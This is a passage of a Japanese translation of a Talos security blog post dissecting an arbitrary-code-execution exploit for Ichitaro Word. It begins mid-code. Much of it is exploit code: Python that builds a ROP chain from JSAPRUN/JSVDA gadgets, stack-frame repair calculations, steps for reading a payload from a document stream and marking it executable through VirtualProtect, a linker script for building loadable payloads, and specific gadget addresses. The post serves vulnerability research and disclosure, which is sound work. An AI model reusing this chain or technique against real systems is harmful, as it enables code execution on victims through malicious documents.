state = self._state
if count:
state.send(0)
state.send([0] * (count – 1)) if count > 1 else state.send(None)
state.send(None)
return
### Example usage
layout = []
stack = StackReceiver(layout.append)
# assign %eax with the delta from our original frame to &lp_oframe_230 or &ap_oframe_0.
# this way we can dereference it to get access to the contents of the object_OFRM.
delta_oframe = scope_pivot[‘F3C1FAF0F’][‘ap_oframe_0’].getoffset() – scope_pivot[‘F3BBB2DE4’][‘ s’].getoffset()
delta_oframe = scope_pivot[‘F3C1FAF0F’][‘lp_oframe_230’].getoffset() – scope_pivot[‘F3BBB2DE4’][‘ s’].getoffset()
stack.send(JSAPRUN.assign_pop_eax, delta_oframe)
stack.send(JSAPRUN.arithmetic_add_ebp_eax)
# now we can dereference %eax to point at the object_OFRM representing our document.
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)
stack.send(JSAPRUN.assign_esi_eax, 0)
# adjust %eax by +4 so that we can load the value from object_OFRM.v_index_4 into %esi.
# the integer at this index is a handle and is all we need to create a fake object_OFRM.
stack.send(JSAPRUN.arithmetic_add_imm4_eax)
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)
…
# stash %ecx containing our context into %ebx for the purpose of preserving our context.
# this way we can restore it later from %ebx to regain access to our current state.
stack.send(JSAPRUN.assign_ecx_eax)
stack.send(JSAPRUN.exchange_eax_ebx)
# void *__thiscall JSAPRUN.dll!method_mallocPageAndSurplus_7ebee(_DWORD *this, size_t av_size_0)
# this function allocates a page (0x1000) and writes it to 0x24(%ecx). if av_0 > 0x1000, then it
# also returns a pointer to that number of bytes and does nothing else.
stack.call(JSAPRUN.procedure_method_mallocPageAndSurplus_7ebee, 0x1001, 0x11111111)
stack.send(JSAPRUN.arithmetic_add_imm4_esp)
…
# open up a stream by its name, layout.frame.stream_name. %ecx contains our fake object_OFRM.
new_context = layout[‘context’][‘object(OSEG)’]
assert(not(divmod(new_context.int() – layout[‘context’].getoffset(), 4)[1])), “Result {:s} is unaligned from {:s} and will not be accessible”.format(layout[‘context’][‘object(OSEG)’].instance(), layout[‘context’].instance())
stack.send(JSAPRUN.assign_pop_eax, layout[‘object_OFRM.vftable’].getoffset())
# int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
stack.send(JSAPRUN.callsib1_N_eax_c__ecx, layout[‘frame’][‘stream_name’].getoffset(), 0x22222222, 3, 0x33333333, new_context.getoffset())
# copy the %ebx containing our context back into %ecx.
stack.send(JSAPRUN.assign_pop_ecx, 0)
stack.send(JSAPRUN.exchange_eax_ebx)
stack.send(JSAPRUN.arithmetic_add_eax_ecx)
stack.send(JSAPRUN.exchange_eax_ebx)
さらなる柔軟性を求め、この概念に関連して、他にもいくつかの抽象化が開発されました。たとえば、スタック上の特定のスロットを他のコードチャンクに対して相対的にマークしておき、前のシーケンスの副作用を使用してそのスロットから値を読み込んだり、そのスロットに値を保存するといったことです。実行を維持するための 2 つ目または 3 つ目のメソッドと保存分岐命令を組み合わせることで、条件分岐を必要としない、ジャンプテーブルのシミュレーションによるプリミティブなループ構造が可能になります。これは、各シーケンスで処理されているデータ量が一定の長さではなく、ランタイムでのみ利用可能な値に依存するような状況で役に立ちます。
class ReceiverMarker(StackReceiver):
”’Experimental class for referencing a specific slot within the stack and marking the snippet where the slot is referenced.”’
def __init__(self):
self._collected = collected = []
super(ReceiverMarker, self).__init__(collected.append)
self._marked = []
def use(self, snippet, *integers):
”’Mark the specified snippet where a slot should be calculated from.”’
self.send(snippet, *integers)
self._marked = self._collected[:]
class Stacker(StackReceiver):
”’Experimental class for referencing a specific slot within the stack to be either read from or written to.”’
def __init__(self, stack):
super(Stacker, self).__init__(stack.append)
self._stack = stack
@contextlib.contextmanager
def reference(self, snippet, *integers, **index):
”’Reference a slot within the stack and use it as a parameter to the specified snippet.”’
marker = ReceiverMarker()
try:
abort = None
yield marker
except Exception as exception:
abort = exception
finally:
if abort: raise abort
# build the stack containing the entire contents that were collected.
tempstack = parray.type(_object_=ptype.pointer_t).a
[ tempstack.append(item) for item in marker._collected ]
# build the stack that was marked by the caller.
markstack = parray.type(_object_=ptype.pointer_t).a
[ markstack.append(item) for item in marker._marked ]
# build the stack that is being used to adjust towards a specific index.
adjuststack = parray.type(_object_=ptype.pointer_t)
adjuststack = adjuststack.alloc(length=index.get(‘index’, 0))
# push the caller’s requested instruction onto the stack using the size that was marked.
state = self._state
offset, adjust, release = snippet
state.send(offset)
items = [item for item in integers]
state.send(items + [tempstack.size() – markstack.size() + adjuststack.size()])
state.send(release)
# now we can push all of the elements that the caller wanted onto the stack.
Freceive = self._receiver
[ Freceive(item) for item in tempstack ]
以下のリストは、前述の抽象化の使用例です。
# load the page from layout.vprotect.dynamic_buffer into %edi which was written to 0x24(%ecx) earlier.
stack.send(JSAPRUN.assign_pop_eax, divmod(layout[‘vprotect’][‘dynamic_buffer’].getoffset() – layout[‘context’].getoffset(), 4)[0])
stack.send(JSAPRUN.load_slotX_eax_eax)
stack.send(JSAPRUN.exchange_eax_edi)
stack.send(JSAPRUN.return_0)
# now we write %edi directly into slot 1 of whatever follows us.
with stack.reference(JSAPRUN.assign_pop_eax, index=1) as store:
store.use(JSAPRUN.store_edi_sib1_eax_esp_0) # mark the index from this stack position
store.send(JSAPRUN.assign_pop_eax, layout[‘object_OSEG.vftable’].getoffset() – layout[‘context’].getoffset())
store.send(JSAPRUN.arithmetic_add_eax_ecx)
# adjust %ecx to move from layout.context to layout.object_OSEG.vftable so
# that we can eventually call 8(%ecx) later to read from the opened stream.
delta_object_oseg = layout[‘context’][‘object(OSEG)’].getoffset() – layout[‘object_OSEG.vftable’].getoffset()
assert(not(delta_object_oseg % 4)), “{:s} is not aligned from {:s} and will be inaccessible.”.format(layout[‘context’][‘object(OSEG)’].instance(), layout[‘object_OSEG.vftable’].instance())
store.send(JSAPRUN.assign_pop_eax, divmod(delta_object_oseg, 4)[0])
store.send(JSAPRUN.load_slotX_eax_eax)
# “store.use” overwrites index 0+1, 0xBBBBBBBB, in the following sequence.
# int __stdcall object_OSEG::method_read_2c310(JSVDA::object_OSEG *ap_object_0, BYTE *ap_buffer_8, int av_size_c, int *ap_resultSize_c)
stack.send(JSVDA.callsib1_N_ecx_8__eax__ecx, 0xBBBBBBBB, 0x1000, layout[‘unused_result’].getoffset())
# calling object_OSEG::method_read_2c310 cleans up all args, but prior
# sequence misses 1.. which we take care of here.
stack.skip(1)
フレームの修復
前のセクションでは、開発したすべての機能を組み合わせ、脆弱性を含むストリームから読み取られたデータを使用して、現在のスレッドの実行を完全に制御できるようにしました。また、複数の命令シーケンスを連続して実行できる方法論の開発にも成功しました。通常はこれで十分なのですが、命令ポインタを制御した時点で、ドキュメントに属するすべてのストリームが完全にスコープ外になってしまっています。
もう 1 つの懸念点は、フレームポインタの制御を使用して、ドキュメントの内容を参照する唯一のオブジェクトの仮想メソッドテーブルを入れ替えていることです。その結果、実行のこの時点でドキュメントに完全にアクセスできなくなり、終了時にアプリケーションに戻れなくなります。ただし、フレームを修復し、アプリケーションがドキュメントストリームの解析を完了するはずだった時点でスコープ内にあったオブジェクトを再作成できれば、これを回避できます。
したがって次は、ドキュメントの内容にアクセスする機能を復元する方法を見つける必要があります。幸いなことに、%ebp レジスタに格納されているフレームポインタを使用して呼び出し元のフレームにアクセスできるので、それを参照ポイントとして使用することで、以前にスタックにあった情報へのアクセスが可能になります。したがって、前に読み込まれた命令のシーケンスを実行する機能を使用する際は、アプリケーションの元のスタックへの唯一のゲートウェイであるこのレジスタを保存する必要があります。
シーケンスの実行中に、フレームポインタを変更するときに制御した %ecx レジスタを使用することもできます。これは、脆弱性を利用して作成した偽造オブジェクトにアクセスしたり、そのオブジェクトに情報を保存したりするための参照ポイントとして利用できます。アプリケーションの呼び出し規約では、別の関数を実行するときにレジスタが保持されるという点も考慮する価値があります。結果として、%ebx、%esi、%edi レジスタは、シーケンスがニーズを満たした後、元のプロセスに戻るときに必要な値を保存するために使用することもできます。
偽造オブジェクトの仮想メソッドが呼び出された時点のコールスタックを確認すると、フレームをハイジャックした関数から 4 フレーム離れていることがわかります。したがって、これらのフレームのコンテンツにアクセスするには、フレームのサイズを知る必要があります。以下の図は、各フレームとそのサイズを示しています。この図では、%ebp レジスタ内のフレームポインタは、0x3BBB2DE4 の object_OFRM::openStreamByName?_132de4 のフレームに保存されています。またこのポインタは、コールスタックのさらに上位にある、0x3BE276BE の object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be 関数に保存されているフレームポインタを参照しています。
# Assign the path through the backtrace that ends up dereferencing from our virtual method table.
Python> backtrace = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]
Python> pp(listmap(func.name, backtrace))
[‘object_OFRM::openStreamByName?_132de4’,
‘object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be’,
‘object_9c2044::parseStream(DocumentEditStyles)_3a6cb2’,
‘object_9c2044::method_processStreams_77af0f’]
# Grab the frame members for each function in the backtrace in order to study their layout.
Python> layout = struc.right(func.frame(backtrace[-1]), [func.frame(f) for f in backtrace[:-1]])
# Display each of the frames.
Python> pp(layout)
[<class ‘structure’ name=’$ F3BBB2DE4′ offset=-0x344 size=0x20>,
<class ‘structure’ name=’$ F3BE276BE’ offset=-0x324 size=0xa8>,
<class ‘structure’ name=’$ F3BE26CB2′ offset=-0x27c size=0x18>,
<class ‘structure’ name=’$ F3C1FAF0F’ offset=-0x264 size=0x278>]
# List the location of each preserved frame pointer in our callstack.
Python> [(print(frame), frame.list(‘ *’)) for frame in layout]
<class ‘structure’ name=’$ F3BBB2DE4′ offset=-0x344 size=0x20>
[2] -33c:+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[3] -338:+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
<class ‘structure’ name=’$ F3BE276BE’ offset=-0x324 size=0xa8>
[25] -298:+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[26] -294:+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
<class ‘structure’ name=’$ F3BE26CB2′ offset=-0x27c size=0x18>
[0] -278:+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[1] -274:+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
<class ‘structure’ name=’$ F3C1FAF0F’ offset=-0x264 size=0x278>
[ 9] -8:+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[10] -4:+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
実行中にフレームポインタの状態を保存した後、それを使用して、0x3C1FAF0F にある object_9c2044::method_processStreams_77af0f のスタックのさらに上位でハイジャックされたフレームポインタを直ちに修復します。フレームポインタの元の値が何であったかはわかっているので、脆弱性を使用して上書きする前の元のフレームポインタの値を計算し、その間の距離を足すことができます。
# Owner of the frame pointer that we have access to.
Python> func.name(func.by(layout[0]))
‘object_OFRM::openStreamByName?_132de4’
Python> layout[0].members.list(‘ *’)
[2] -33c:+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[3] -338:+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
# Owner of the frame pointer that we’ve overwritten.
Python> func.name(func.by(layout[-1]))
‘object_9c2044::method_processStreams_77af0f’
Python> layout[-1].members.list(‘ *’)
[ 9] -8:+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[10] -4:+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
# Calculate the delta between both of these locations.
Python> layout[-1].members.by(‘ s’).offset – layout[0].members.by(‘ s’).offset
0x334
これを計算するには、上書きされたフレームポインタの値であるフレーム 0x3BBB2DE4 の「s」フィールドと、フレームポインタを上書きする前の正しい値であるフレーム 0x3C1FAF0F の「s」フィールドの差を求めます。計算の結果は 0x334 バイトであり、この値を %ebp レジスタ内の現在のフレームポインタに加えるだけで、正しい値が決定されます。
また、同様の計算を行って、上書きされた保存済みのフレームポインタを特定し、正しい値を書き込む必要があります。これは、次のリストに示されています。フレーム 0x3C1FAF0F の「s」フィールドを使用する代わりに、フレーム 0x3BE26CB2 の「s」フィールドを使用する必要があります。上書きされたフレームポインタを修正するための距離は、+0xC4 として計算されます。両方の値を使用することで、フレームを完全に修復し、目的を達成した後にアプリケーションを変更前の状態に戻すことができます。
# Display the layout that we’ll be examining.
Python> pp(layout[:-1])
[<class ‘structure’ name=’$ F3BBB2DE4′ offset=-0x344 size=0x20>,
<class ‘structure’ name=’$ F3BE276BE’ offset=-0x324 size=0xa8>,
<class ‘structure’ name=’$ F3BE26CB2′ offset=-0x27c size=0x18>]
Python> pp(listmap(func.name, map(func.by, layout[:-1])))
[‘object_OFRM::openStreamByName?_132de4’,
‘object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be’,
‘object_9c2044::parseStream(DocumentEditStyles)_3a6cb2’]
# Identify the two members that we will need to use to locate the frame pointer
# that we will need to overwrite in order to repair the call stack.
Python> pp((layout[0].members.by(‘ s’), layout[2].members.by(‘ s’)))
(<member ‘$ F3BBB2DE4. s’ index=2 offset=-0x33c size=+0x4 typeinfo=’char[4]’>,
<member ‘$ F3BE26CB2. s’ index=0 offset=-0x278 size=+0x4 typeinfo=’char[4]’>)
# Calculate the difference between the current frame pointer, and the preserved
# frame pointer that we will overwrite.
Python> layout[0].members.by(‘ s’).offset – layout[2].members.by(‘ s’).offset
-0xc4
ストリームの内容の読み込み
フレームを修復した後もまだやることは残っていて、何らかの方法でペイロードをアドレス空間に読み込み、実行可能としてマークしてから実行する必要があります。脆弱性を含むストリームがアプリケーションによって閉じられた後に実行をハイジャックしたので、用意したコードを読み込むには他の手段が必要になります。幸いなことにストリーム解析のスコープにはアクセスできるので、スタック内で利用可能なものはすべて再利用することができ、目的を達成できます。これが可能なのは、ドキュメントオブジェクトとやり取りするために必要な機能を含む JSVDA.DLL モジュールが既知のアドレスにあり、ドキュメントが単一のハンドルとしてアプリケーション内に保存されているからに他なりません。したがって、ドキュメントオブジェクトの独自のインスタンスを偽造するのに必要なのは、オブジェクトのハンドルとその仮想メソッドテーブルのみであり、ドキュメントから読み取る機能をアプリケーションに復元するには、それを参照する必要があります。
ドキュメントパーサーのスコープを含むコールスタックを、実行をハイジャックする時点まで再確認すると、保存されているフレームポインタと、ドキュメントオブジェクトが格納されている 0x3C1FAF0F にある object_9c2044::method_processStreams_77af0f 関数のフレーム内のフィールドとの間の距離が必要になります。以下のリストでは、ap_oframe_0 フィールドに、呼び出し元から渡された JSVDA::object_OFRM 型のドキュメントオブジェクトが格納されており、フレーム内の lp_oframe_230 ローカル変数がメソッド用にそのコピーを保持しています。現在のフレームポインタとこれらのオブジェクトのいずれかの位置との間の距離を計算したら、プロパティのリストからオブジェクトのハンドルを読み込み、それを任意の場所で使用して、読み込まれたドキュメントの内容にアクセスできます。
Python> callstack = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]
Python> pp(listmap(func.name, callstack))
[‘object_OFRM::openStreamByName?_132de4’,
‘object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be’,
‘object_9c2044::parseStream(DocumentEditStyles)_3a6cb2’,
‘object_9c2044::method_processStreams_77af0f’]
# Convert our callstack into a list of frames.
Python> layout = struc.right(func.frame(callstack[-1]), listmap(func.frame, callstack[:-1]))
# List all frame variables that have a type.
Python> layout[-1].list(typed=True)
[ 4] -254:+0x18 frame_77af0f::field_24c ‘lv_struc_24c’ <class ‘structure’ name=’frame_77af0f::field_24c’ offset=-0x254 size=0x18>
[ 6] -238:+0x4 JSVDA::object_OFRM* ‘lp_oframe_230’ (<class ‘type’>, 4)
[ 7] -234:+0x228 object_2f27f8 ‘lv_object_22c’ <class ‘structure’ name=’object_2f27f8′ offset=-0x234 size=0x228>
[11] 0:+0x4 JSVDA::object_OFRM* ‘ap_oframe_0’ (<class ‘type’>, 4)
[12] 4:+0x4 unsigned int ‘av_documentType_4’ (<class ‘int’>, 4)
[13] 8:+0x4 unsigned int ‘av_flags_8’ (<class ‘int’>, 4)
[14] c:+0x4 struc_79aa9a* ‘ap_stackobject_c’ (<class ‘type’>, 4)
[15] 10:+0x4 int ‘ap_null_10’ (<class ‘int’>, 4)
# List all frame variables that reference the object used to read from an opened document.
Python> layout[-1].list(structure=struc.by(‘JSVDA::object_OFRM’))
[ 6] -238:+0x4 JSVDA::object_OFRM* ‘lp_oframe_230’ (<class ‘type’>, 4)
[11] 0:+0x4 JSVDA::object_OFRM* ‘ap_oframe_0’ (<class ‘type’>, 4)
このエクスプロイトでは、脆弱性を利用して、偽造オブジェクトの仮想メソッドテーブルのアドレスをメモリに保存します。したがって、コールスタックのさらに上位から読み込んだドキュメントオブジェクトのハンドルを、仮想メソッドテーブルの後の正しい場所に書き込むだけでオブジェクトが完成します。この時点で、どのメソッドを呼び出しても、そのコピーを使用できます。次のリストは、このオブジェクトの単純なレイアウトです。
Python>struc.search(‘*_OFRM’).members
<class ‘structure’ name=’JSVDA::object_OFRM’ size=0x8> # [alloc.tag] OFRM
[0] 0+0x4 int ‘p_vftable_0’ (<class ‘int’>, 4) # [vftable] 0x278186F0
[1] 4+0x4 int ‘v_index_4’ (<class ‘int’>, 4) # {‘note’: ‘object_117c5 handle’, ‘alloc.tag’: ‘MFCM’}
この後は、残りのプロセスは簡単です。メモリのページを割り当てるには、同じモジュール内の別のメソッドを使用します。元の仮想メソッドテーブルをコピーして偽造オブジェクトに戻し、それを再利用してファイルから任意のストリームを開き、そのストリームに別のオブジェクトを返します。このストリームオブジェクトを使用して、開かれているストリームの内容を、割り当てられているメモリのページに読み取ります。
割り当てられているこのメモリのページを実行可能にするために、同じモジュール内のインポートの 1 つを囲むラッパーを再利用して、「VirtualProtect」を呼び出します。最後に、読み込まれたコードのスタブを呼び出してペイロードを初期化し、実際のエントリポイントに分岐します。ペイロードが実行を完了して処理が戻ると、ストリームが正常に解析されたことを 0x3C1FAF0F 関数が認識できるように、成功の戻りコードを設定します。この時点で、ペイロードはバックグラウンドで正常に実行されており、アプリケーションはドキュメントを完全にレンダリングしています。
コンパイラの使用
目的のコードをアドレス空間に読み込むプロセスが完了した後、エクスプロイトされたプロセスのコンテキスト内で実行を維持するために「シェルコード」を直接組み込むことは、広く受け入れられている一般的な手法です。シェルコードには、生成されたアセンブリコードまたは手書きのアセンブリコードが含まれており、実行の制御を示すために使用されます。代わりに、オープンソースのコンパイラツールを利用して、より抽象度の高い言語でペイロードを実装することもできます。これはクローズドソースのコンパイラに限定されるものではなく、リンクされたコードのエントリポイントにスタブを持つ基本的なリンカーを実装できます。このスタブが、必要な再配置をデータに適用してから、最終ペイロードを読み込みます。これは、Stephen Fewer 氏によるリフレクティブ DLL インジェクションの手法と似ていなくもありません。
以下のリンカースクリプトを GNU リンカー(ld)の MinGW ポートで使用すると、プロセスのコンテキストに読み込むことのできる連続したバイナリを生成できます。このリンカースクリプトは、実行可能としてマップする必要がある連続したページと書き込み可能としてマップする必要があるページからエントリポイントを分離します。データと実行コードが適切にマップされたら、__load_reloc_start シンボルと __load_reloc_stop シンボルの間に格納されている __load_size 再配置を適用する必要があります。リンクされたターゲットにインポートが含まれている場合は、__load_import_start シンボルと __load_import_end シンボルの間に格納されることになります。
ENTRY(_start)
STARTUP(src/entry.o)
TARGET(pe-i386)
SECTIONS {
HIDDEN(_loc_counter = .);
HIDDEN(_loc_align = 0x10);
.load _loc_counter : {
__load_start = ABSOLUTE(.);
KEEP(*(.init))
KEEP(*(.fini))
. = ALIGN(_loc_align);
__load_size = .; LONG(__load_end – __load_start);
__load_segment_start = .; LONG(__segment_start);
__load_segment_end = .; LONG(__segment_end);
__load_reloc_start = .; LONG(__reloc_start);
__load_reloc_end = .; LONG(__reloc_end);
__load_import_start = .; LONG(__import_start);
__load_import_end = .; LONG(__import_end);
__load_end = ABSOLUTE(.);
. = ALIGN(_loc_align);
}
_loc_counter += SIZEOF(.load);
.imports _loc_counter : {
__import_size = ABSOLUTE(.); LONG(__import_end – __import_start);
__import_start = ABSOLUTE(.);
*(.idata)
*(SORT_BY_NAME(.idata$*))
__import_end = ABSOLUTE(.);
. = ALIGN(_loc_align);
}
_loc_counter += SIZEOF(.imports);
__segment_start = ABSOLUTE(.);
.text _loc_counter : {
*(.text)
*(SORT_BY_NAME(.text$*))
*(.text.*)
. = ALIGN(_loc_align);
__CTOR_LIST__ = ABSOLUTE(.);
LONG((__CTOR_END__ – __CTOR_LIST__) / 4 – 2);
KEEP(*(.ctors));
KEEP(*(.ctor));
KEEP(*SORT_BY_NAME(.ctors.*));
LONG(0);
__CTOR_END__ = ABSOLUTE(.);
__DTOR_LIST__ = ABSOLUTE(.);
LONG((__DTOR_END__ – __DTOR_LIST__) / 4 – 2);
KEEP(*(.dtors));
KEEP(*(.dtor));
KEEP(*SORT_BY_NAME(.dtors.*));
LONG(0);
__DTOR_END__ = ABSOLUTE(.);
. = ALIGN(_loc_align);
}
_loc_counter += SIZEOF(.text);
.data _loc_counter : {
*(.data)
*(SORT_BY_NAME(.data$*))
*(.data.*)
*(.*data)
*(.*data.*)
. = ALIGN(_loc_align);
}
_loc_counter += SIZEOF(.data);
__segment_end = ABSOLUTE(.);
.relocations _loc_counter : {
__reloc_size = ABSOLUTE(.); LONG(__reloc_end – __reloc_start);
__reloc_start = ABSOLUTE(.);
*(.reloc)
__reloc_end = ABSOLUTE(.);
. = ALIGN(_loc_align);
}
_loc_counter += SIZEOF(.relocations);
.bss (NOLOAD) : {
*(.bss)
*(COMMON)
}
.discarded (NOLOAD) : {
*(.*)
}
__end__ = _loc_counter;
}
選択したセグメントをメモリにマップするために必要なロジックを実装し、必要な再配置を適用することで、プラットフォームのランタイムリンカーへの依存を完全に回避することができます。この後は、希望する言語のランタイムを初期化し、実装者のニーズに合ったより適した言語を使用して、もっと複雑なペイロードを開発できます。
エクスプロイトには、ペイロードにクローズドソースのコンパイラを使用したい場合に備えて、PECOFF オブジェクト形式とアーカイブ形式用のリンカーも含まれています。このリンカーは入力ファイルのリストを受け取り、エクスプロイトによって実行されるときに、実装されたペイロードを読み込んで実行するバイナリデータのブロックを生成します。
最後の仕上げ
読み込まれたコードが正常に実行された後は、%eax レジスタを正しい値に設定して、ストリームを開けなかったのか、ストリームが正常に開かれたのかを呼び出し元に伝えるだけです。結果を割り当てた後は、通常のフレームポインタの終了を使用してハイジャックされた関数から出て、何も起こらなかったかのように実行を再開する必要があります。次の 2 つのアドレスはまさにこれを行います。ハイジャックされたフレームポインタはペイロードを実行する前に修復されているので、アプリケーションは何事もなかったかのように、ドキュメントの残りの内容の解析と読み込みを続けます。
JSAPRUN.DLL 0x6100e5cf: pop eax; ret;
JSAPRUN.DLL 0x6100104f: leave; ret;
まとめ
最新のオペレーティングシステムのメモリ破損の脆弱性をエクスプロイトする場合、一般的なエクスプロイト手法を用いる時代はとっくに終わっています。エクスプロイト手法はアプリケーション固有であり、エクスプロトを開発するにはアプリケーションの内部動作をしっかりと理解する必要がありますが、高水準言語による抽象化のせいで、元の開発者が仕組みを認識していないこともよくあります。インタラクティブな実行環境やスクリプト言語の存在により、エクスプロイトの柔軟性はほぼ無限に提供されますが、一太郎のような環境でワンショットのエクスプロイトを開発するには、さまざまな副作用を連鎖させる必要があります。
今回紹介したケースでは、単一の脆弱性が悪用され、最終的には任意のコードが実行されました。このようなケースばかりではなく、エクスプロイトで複数の脆弱性を連鎖させる必要があることが少なくありません。このため、個々の脆弱性の深刻度を判断することが難しくなることがよくありますが、今回紹介したようなエクスプロイトのデモンストレーションは同値クラスを作成するものであり、すべてのインスタンスについてエクスプロイトを実証しなくても、十分な情報に基づいた判断が可能になります。
本稿は 2024 年 03 月 20 日に Talos Group のブログに投稿された「Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word」の抄訳です。